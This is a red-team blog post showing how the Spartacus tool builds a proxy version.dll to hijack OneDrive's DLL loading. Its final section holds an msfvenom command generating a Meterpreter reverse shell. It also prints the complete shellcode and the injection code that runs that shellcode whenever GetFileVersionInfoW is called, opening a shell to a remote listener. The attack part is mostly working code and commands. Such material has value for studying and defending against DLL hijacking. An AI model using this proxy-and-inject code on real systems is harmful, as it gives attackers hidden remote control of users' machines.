Contents
- Introduction
- Creating Proxy Functions
- DllMain.cpp Structure
- Compiling version.dll
- Exploiting GetFileVersionInfoW
- Conclusion
Introduction
In my previous post about using Spartacus to identify and exploit a DLL Hijacking within Microsoft's OneDrive
the generated payload was executed directly from DllMain
the moment that DLL was loaded. After reading this post about DLL Sideloading not by DLLMain by Shantanu Khandelwal,
I really liked the idea. But, as I'm not a fan of manual tasks I've implemented this functionality in Spartacus v1.1.
Picking up from where we left off in the previous post, let's see how we can exploit OneDrive with version.dll
, but this time outside the DllMain
function.
Creating Proxy Functions
In Spartacus v1.0, the proxy DLL simply exported all original functions. In the latest version (v1.1), we want to create proxy functions for the legitimate functions instead of just redirecting them. However, extracting function definitions (determining what arguments a function takes) from a compiled DLL is no simple task. And for this reason, we will be using Ghidra.
Downloading Ghidra
Simply download Ghidra from GitHub's release page, and extract it on your local machine.
Make sure it runs (you will need to have Java installed on your machine), and make sure the file ./support/analyzeHeadless.bat
exists.
Generating version.dll Functions
Now that Ghidra is installed and working, Spartacus can generate proxy functions by running:
Spartacus.exe --generate-proxy --ghidra C:\Ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\version.dll --output-dir C:\Projects\spartacus-version --verbose
--ghidra
is the path to Ghidra's analyzeHeadless.bat
file.
--dll
is the path to the DLL we want to proxy.
--output-dir
is the directory where the Visual Studio solution will be saved to. This directory must not exist.
#1 - Here, Spartacus will identify all the export functions of the legitimate DLL.
#2 - This is the command that executes Ghidra, analyses the project, and executes the ExportFunctionDefinitionsINI.java
postScript.
#3 - When ExportFunctionDefinitionsINI.java
is executed, it will create a file called ExportedFunctions.ini
which will contain all functions and their signatures.
#4 - The last step is to create the Visual Studio solution. It is clear however, that while the exported functions are 17, the matched functions are 13.
As mentioned above, compilers work in mysterious ways, and it's quite difficult to reliably extract function signatures from compiled DLLs.
For this reason, Spartacus will try to determine which signatures are most likely correct, and only use those to generate proxies.
For example, when Ghidra is unable to determine a parameter's type it will represent it as undefined
(instead of let's say, int
, DWORD
, or LPCSTR
) - and Spartacus will ignore all functions that have any such parameter.
DllMain.cpp Structure
The dllmain.cpp
file that will be generated from the above steps, will look like this:
#pragma once
// #pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
// #pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
// #pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
// #pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
// #pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
// #pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
// #pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
// #pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
// #pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
#include "windows.h"
#include "ios"
#include "fstream"
typedef BOOL(*GetFileVersionInfoA_Type)(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef BOOL(*GetFileVersionInfoExA_Type)(DWORD dwFlags, LPCSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef BOOL(*GetFileVersionInfoExW_Type)(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef DWORD(*GetFileVersionInfoSizeA_Type)(LPCSTR lptstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeExA_Type)(DWORD dwFlags, LPCSTR lpwstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeExW_Type)(DWORD dwFlags, LPCWSTR lpwstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeW_Type)(LPCWSTR lptstrFilename, LPDWORD lpdwHandle);
typedef BOOL(*GetFileVersionInfoW_Type)(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef DWORD(*VerFindFileA_Type)(DWORD uFlags, LPCSTR szFileName, LPCSTR szWinDir, LPCSTR szAppDir, LPSTR szCurDir, PUINT lpuCurDirLen, LPSTR szDestDir, PUINT lpuDestDirLen);
typedef DWORD(*VerFindFileW_Type)(DWORD uFlags, LPCWSTR szFileName, LPCWSTR szWinDir, LPCWSTR szAppDir, LPWSTR szCurDir, PUINT lpuCurDirLen, LPWSTR szDestDir, PUINT lpuDestDirLen);
typedef DWORD(*VerInstallFileA_Type)(DWORD uFlags, LPCSTR szSrcFileName, LPCSTR szDestFileName, LPCSTR szSrcDir, LPCSTR szDestDir, LPCSTR szCurDir, LPSTR szTmpFile, PUINT lpuTmpFileLen);
typedef BOOL(*VerQueryValueA_Type)(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen);
typedef BOOL(*VerQueryValueW_Type)(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen);
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\version.dll");
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
VOID DebugToFile(LPCSTR szInput)
{
std::ofstream log("spartacus-proxy.log", std::ios_base::app | std::ios_base::out);
log << szInput;
log << "\n";
}
BOOL GetFileVersionInfoA_Proxy(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
DebugToFile("GetFileVersionInfoA");
GetFileVersionInfoA_Type original = (GetFileVersionInfoA_Type)GetProcAddress(hModule, "GetFileVersionInfoA");
return original(lptstrFilename, dwHandle, dwLen, lpData);
}
[........................REDACTED FOR READABILITY........................]
BOOL VerQueryValueW_Proxy(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen)
{
DebugToFile("VerQueryValueW");
VerQueryValueW_Type original = (VerQueryValueW_Type)GetProcAddress(hModule, "VerQueryValueW");
return original(pBlock, lpSubBlock, lplpBuffer, puLen);
}
There's a few things worth explaining here.
Pragma Statements
As described above, Ghidra isn't always capable in extracting function signatures, therefore the pragma
statements that are not commented, are the ones it wasn't possible to parse.
The pragma
statements that are commented out, are the ones that have a proxy function further down.
However, Spartacus will still create these statements for all export functions, in the event you wish to manually enable/disable any of them.
The DebugToFile
Function
When you first compile version.dll
, you don't know which functions will be called by your vulnerable application - in this case OneDrive.
Will it be VerQueryValueW
, GetFileVersionInfoA
, or another one?
For this reason, Spartacus makes a call to this function from each proxy function, to help you identify which one you can use.
Of course, you can change the path of spartacus-proxy.log
, which by default will be created within the application's folder.
Compiling version.dll
At this point, you will have a Visual Studio solution for your proxy file.
Depending on the function definitions, there may be errors in the file if header files are missing!
This means that you may have to manually "fix" the file to get rid of any undeclared types, structures, etc.
Make sure you select the Release
configuration (Debug
doesn't work), and compile:
Take version.dll
and place it in the same directory as OneDrive.exe
. Double click and magic happens!
After executing OneDrive, when a function is called it will write its name to spartacus-proxy.log
.
As you can see below, these are all the functions that have been called, executed, and proxied:
Exploiting GetFileVersionInfoW
Unless the situation calls for something over the top, there is no reason to proxy all the functions within the DLL.
Therefore, we will create a DLL that only proxies GetFileVersionInfoW
.
We will run the exact same Spartacus command as previously, change the output path, and add --only-proxy "GetFileVersionInfoW"
in the end.
This way Spartacus will only create a proxy for that specific function:
Spartacus.exe --generate-proxy --ghidra C:\Ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\version.dll --output-dir C:\Projects\spartacus-version --verbose --only-proxy "GetFileVersionInfoW"
Spartacus has skipped all other functions and has only created the proxy for the one we defined.
Compiling with a Payload
Spartacus will once again create the DebugToFile
function, which at this point we no longer need as we have already identified the target function.
Using msfvenom
, generate the shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.128 lport=4444 -f c -o /tmp/shellcode.c
And using the basic process injection described here and removing DebugToFile
, we end up with the following final code:
#pragma once
#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
// #pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
#include "windows.h"
#include "ios"
#include "fstream"
typedef BOOL(*GetFileVersionInfoW_Type)(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\version.dll");
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
VOID Payload() {
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x58\x80\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
}
BOOL GetFileVersionInfoW_Proxy(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
Payload();
GetFileVersionInfoW_Type original = (GetFileVersionInfoW_Type)GetProcAddress(hModule, "GetFileVersionInfoW");
return original(lptstrFilename, dwHandle, dwLen, lpData);
}
All exports are redirected except GetFileVersionInfoW
, from where we call our Payload
function.
Make sure your configuration is set to Release
and matches the target's architecture - x64
in this case, and compile.
Double-click on OneDrive.exe and enjoy your reverse shells:
As you can see, we got way too many sessions - this is because Payload
is called every time GetFileVersionInfoW
is called, so make sure you put something in place to prevent it from running multiple times.
Conclusion
You can find Spartacus at https://github.com/sadreck/Spartacus.